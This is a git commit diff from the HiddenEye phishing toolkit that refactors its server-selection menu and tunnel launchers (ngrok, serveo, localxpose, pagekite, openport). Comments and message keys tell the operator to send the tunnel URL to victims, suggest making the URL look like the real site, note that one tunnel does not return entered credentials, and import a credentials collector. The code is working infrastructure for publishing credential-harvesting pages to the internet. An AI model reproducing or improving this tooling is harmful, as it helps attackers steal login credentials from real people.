Dependency fixes

This commit is contained in:
Souldiv 2020-06-01 13:47:37 +05:30
parent 33dd2c3fdb
commit 9353df836b
4 changed files with 124 additions and 102 deletions

View File

@ -1,65 +0,0 @@
#
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
from Defs.ImportManager.unsorted_will_be_replaced import run_command
import Defs.ThemeManager.theme as theme
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_menu as localization
import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ActionManager.main_runner as main_runner
default_palette = theme.default_palette
def server_selection(port): # Question where user must select server
run_command('clear')
#print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
# )
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(localization.lang_server_selection["server_selection"])
print(localization.lang_server_selection["select_any_available_server"])
main_runner.print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line)
choice = choice.zfill(2)
if choice == '00':
run_command('clear')
server_runner.start_localhost(port) #FIXED
elif choice == '01':
run_command('clear')
server_runner.start_ngrok(port) # FIXED
elif choice == '02':
run_command('clear')
server_runner.start_serveo(port) # ALMOST FIXED
elif choice == '03':
run_command('clear')
server_runner.start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04':
run_command('clear')
server_runner.start_localtunnel(port, True)
elif choice == '05':
run_command('clear')
server_runner.start_openport(port)
elif choice == '06':
run_command('clear')
server_runner.start_pagekite(port)
else:
run_command('clear')
return server_selection(port)

View File

@ -9,11 +9,8 @@
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \ from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
import Defs.ActionManager.Server.server_menu as server_menu
import Defs.ActionManager.simple_informant as simple_informant
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
import Defs.ActionManager.main_runner as main_runner
import os import os
default_palette = theme.default_palette default_palette = theme.default_palette
@ -24,6 +21,52 @@ except FileExistsError:
enter_server_www = chdir("Server/www") enter_server_www = chdir("Server/www")
exit_server_www = chdir("../..") exit_server_www = chdir("../..")
default_palette = theme.default_palette
def server_selection(port): # Question where user must select server
run_command('clear')
# print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
# {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
# )
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(localization.lang_server_selection["server_selection"])
print(localization.lang_server_selection["select_any_available_server"])
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
choice = input(global_localization.input_line)
choice = choice.zfill(2)
if choice == '00':
run_command('clear')
start_localhost(port) # FIXED
elif choice == '01':
run_command('clear')
start_ngrok(port) # FIXED
elif choice == '02':
run_command('clear')
start_serveo(port) # ALMOST FIXED
elif choice == '03':
run_command('clear')
start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
elif choice == '04':
run_command('clear')
start_localtunnel(port, True)
elif choice == '05':
run_command('clear')
start_openport(port)
elif choice == '06':
run_command('clear')
start_pagekite(port)
else:
run_command('clear')
return server_selection(port)
def set_php(host='127.0.0.1', port=80): def set_php(host='127.0.0.1', port=80):
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL) run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
@ -32,14 +75,17 @@ def set_php(host='127.0.0.1', port=80):
def set_port(port=80): def set_port(port=80):
run_background_command(["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL) run_background_command(
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
def start_server(port=80): def start_server(port=80):
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", "2>&1"**/]) # run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null",
# "2>&1"**/])
set_port(port) set_port(port)
# enter_server_www # enter_server_www
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", "/dev/null", "2>&1", "&"]) # run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">",
# "/dev/null", "2>&1", "&"])
set_php(port=port) set_php(port=port)
# exit_server_www # exit_server_www
@ -54,7 +100,10 @@ def start_localhost(port):
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# '') # '')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_localhost["localhost_server"]) print(localization.lang_start_localhost["localhost_server"])
host = "127.0.0.1" host = "127.0.0.1"
print(localization.lang_start_localhost["your_localhost_is"] + host) print(localization.lang_start_localhost["your_localhost_is"] + host)
@ -63,7 +112,8 @@ def start_localhost(port):
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port)) # && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
enter_server_www enter_server_www
set_php(host, port) set_php(host, port)
print(localization.lang_start_localhost["starting_server_on_addr"] + "{0}:{1}".format(host, port)) print(localization.lang_start_localhost[
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
# wait(2) # wait(2)
run_command('clear') run_command('clear')
# print(''' # print('''
@ -73,18 +123,23 @@ def start_localhost(port):
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# ''') # ''')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_localhost["running_localhost_server"]) print(localization.lang_start_localhost["running_localhost_server"])
# print("- # print("-
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host)) # ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
print(localization.lang_start_localhost["send_this_url_suggestion"]) print(localization.lang_start_localhost["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '{0}:{1}\n'.format(host, port)) print(localization.lang_start_localhost[
"localhost_url"] + '{0}:{1}\n'.format(host, port))
def start_ngrok(port): def start_ngrok(port):
ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml" ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml"
# ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input later # ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input
# later
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL) run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
run_command('clear') run_command('clear')
# print(''' # print('''
@ -94,11 +149,15 @@ def start_ngrok(port):
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# ''') # ''')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_ngrok["ngrok_server"]) print(localization.lang_start_ngrok["ngrok_server"])
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL) # run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
##chmod('Server', 0o777) # chmod('Server', 0o777)
##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL) # run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL,
# stderr=DEVNULL)
ngrok.connect(port=int(port)) ngrok.connect(port=int(port))
# currentDirectory = os.getcwd() #DELETE # currentDirectory = os.getcwd() #DELETE
# print(currentDirectory) #DELETE # print(currentDirectory) #DELETE
@ -117,8 +176,10 @@ def start_ngrok(port):
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n") # print("\n")
print(localization.lang_start_ngrok["send_this_url_suggestion"]) print(localization.lang_start_ngrok["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_localhost[
print(localization.lang_start_ngrok["ngrok_url"] + url + default_palette[4]) "localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_ngrok[
"ngrok_url"] + url + default_palette[4])
break break
@ -139,15 +200,21 @@ def start_serveo(port):
# {0}** BY:DARKSEC ** \n\n------------------------------- # {0}** BY:DARKSEC ** \n\n-------------------------------
# #
# ''') # ''')
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_random_server"]) print(localization.lang_start_serveo["serveo_random_server"])
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port)) # run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
# /dev/null &' % (port))
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R', run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL) 'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
wait(8) wait(8)
try: try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
# print("-\n # print("-\n
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
@ -155,8 +222,10 @@ def start_serveo(port):
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4])) # ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
# print("\n") # print("\n")
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_localhost[
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) "localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
except CalledProcessError: except CalledProcessError:
wait(4) wait(4)
@ -164,6 +233,7 @@ def start_serveo(port):
return random(port) return random(port)
def custom(port): def custom(port):
import Defs.ActionManager.main_runner as main_runner
# print(''' # print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
@ -176,9 +246,13 @@ def start_serveo(port):
# \n # \n
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2])) # \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
print(localization.lang_start_serveo["make_url_simmilar_to_real_suggestion"]) print(localization.lang_start_serveo[
"make_url_simmilar_to_real_suggestion"])
print(localization.lang_start_serveo["insert_custom_subdomain"]) print(localization.lang_start_serveo["insert_custom_subdomain"])
lnk = input(global_localization.input_line) lnk = input(global_localization.input_line)
@ -186,14 +260,18 @@ def start_serveo(port):
lnk += ".serveo.net" lnk += ".serveo.net"
else: else:
pass pass
# run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port)) # run_command('ssh -o StrictHostKeyChecking=no -o
# ServerAliveInterval=60 -o ServerAliveCountMax=60 -R
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
# port))
run_command( run_command(
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60', ['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, '-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
stderr=DEVNULL) stderr=DEVNULL)
wait(7) wait(7)
try: try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8") url = output.decode("utf-8")
run_command('clear') run_command('clear')
# print(''' # print('''
@ -203,15 +281,20 @@ def start_serveo(port):
# {0}http://github.com/darksecdevelopers # {0}http://github.com/darksecdevelopers
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0} # {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
# \n-------------------------------'''.format(default_palette[0], default_palette[2])) # \n-------------------------------'''.format(default_palette[0], default_palette[2]))
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_custom_server"]) print(localization.lang_start_serveo["serveo_custom_server"])
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS- # print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3} # \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) # \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_serveo["send_this_url_suggestion"])
print(localization.lang_start_localhost["localhost_url"] + '127.0.0.1:' + port) print(localization.lang_start_localhost[
print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) "localhost_url"] + '127.0.0.1:' + port)
print(localization.lang_start_serveo[
"serveo_url"] + url + default_palette[4])
print("\n") print("\n")
@ -237,7 +320,10 @@ def start_serveo(port):
# #
# #
# '''.format(default_palette[0], default_palette[2])) # '''.format(default_palette[0], default_palette[2]))
simple_informant.global_message() print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print(global_localization.line_of_dots)
print(localization.lang_start_serveo["serveo_url_option_selection"]) print(localization.lang_start_serveo["serveo_url_option_selection"])
print(localization.lang_start_serveo["serveo_phishing_warning"]) print(localization.lang_start_serveo["serveo_phishing_warning"])
print(localization.lang_start_serveo["choose_type_of_url"]) print(localization.lang_start_serveo["choose_type_of_url"])
@ -260,7 +346,7 @@ def start_serveo(port):
choice = input("HiddenEye >> ") choice = input("HiddenEye >> ")
choice = choice.lower() choice = choice.lower()
if choice == 'y': if choice == 'y':
return server_menu.server_selection(port) return server_selection(port)
else: else:
return start_serveo(port) return start_serveo(port)
@ -424,7 +510,7 @@ def start_openport(port):
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output)) print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0],
default_palette[4])) default_palette[4]))
server_menu.server_selection(port) server_selection(port)
urlFile = open('openport.txt', 'r') urlFile = open('openport.txt', 'r')
urltoverify = urlFile.read().strip() urltoverify = urlFile.read().strip()
@ -459,12 +545,13 @@ def start_openport(port):
print('[*] Openport not Installed correctly, Try installing it manually !!') print('[*] Openport not Installed correctly, Try installing it manually !!')
print('[*] Check Here ... https://openport.io/download') print('[*] Check Here ... https://openport.io/download')
input('\n Press Enter To Go back..') input('\n Press Enter To Go back..')
server_menu.server_selection(port) server_selection(port)
else: else:
manage_url(port) manage_url(port)
def start_pagekite(port): def start_pagekite(port):
from Defs.ActionManager.simple_informant import credentials_collector
run_command('clear') run_command('clear')
print(''' print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
@ -482,7 +569,7 @@ def start_pagekite(port):
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0], print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0],
default_palette[4])) default_palette[4]))
wait(2) wait(2)
server_menu.server_selection(port) server_selection(port)
else: else:
pass pass
else: else:

View File

@ -8,7 +8,7 @@
from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket from Defs.ImportManager.unsorted_will_be_replaced import requests, getuid, platform_os, run_command, try_to_run_command, wait, chmod, stat, pathlib_Path, copyfile, socket
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_menu as server_menu import Defs.ActionManager.Server.server_runner as server_runner
import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization import Defs.LocalizationManager.lang_action_manager.lang_simple_informant as localization
import Defs.LocalizationManager.lang_global_usage as global_localization import Defs.LocalizationManager.lang_global_usage as global_localization
@ -44,7 +44,7 @@ def exit_message(port = 80): # Message when HiddenEye exit
elif choice == 'm': elif choice == 'm':
email_prompt.captured_data_email_confirmation(port) email_prompt.captured_data_email_confirmation(port)
elif choice == 's': elif choice == 's':
server_menu.server_selection(port) server_runner.server_selection(port)
elif choice == 'x': elif choice == 'x':
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)

View File

@ -8,12 +8,12 @@
from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
import Defs.ActionManager.simple_informant as simple_informant
default_palette = theme.default_palette default_palette = theme.default_palette
def captured_data_email_prompt(): def captured_data_email_prompt():
run_command('clear') run_command('clear')
import Defs.ActionManager.simple_informant as simple_informant
print('''{1} print('''{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}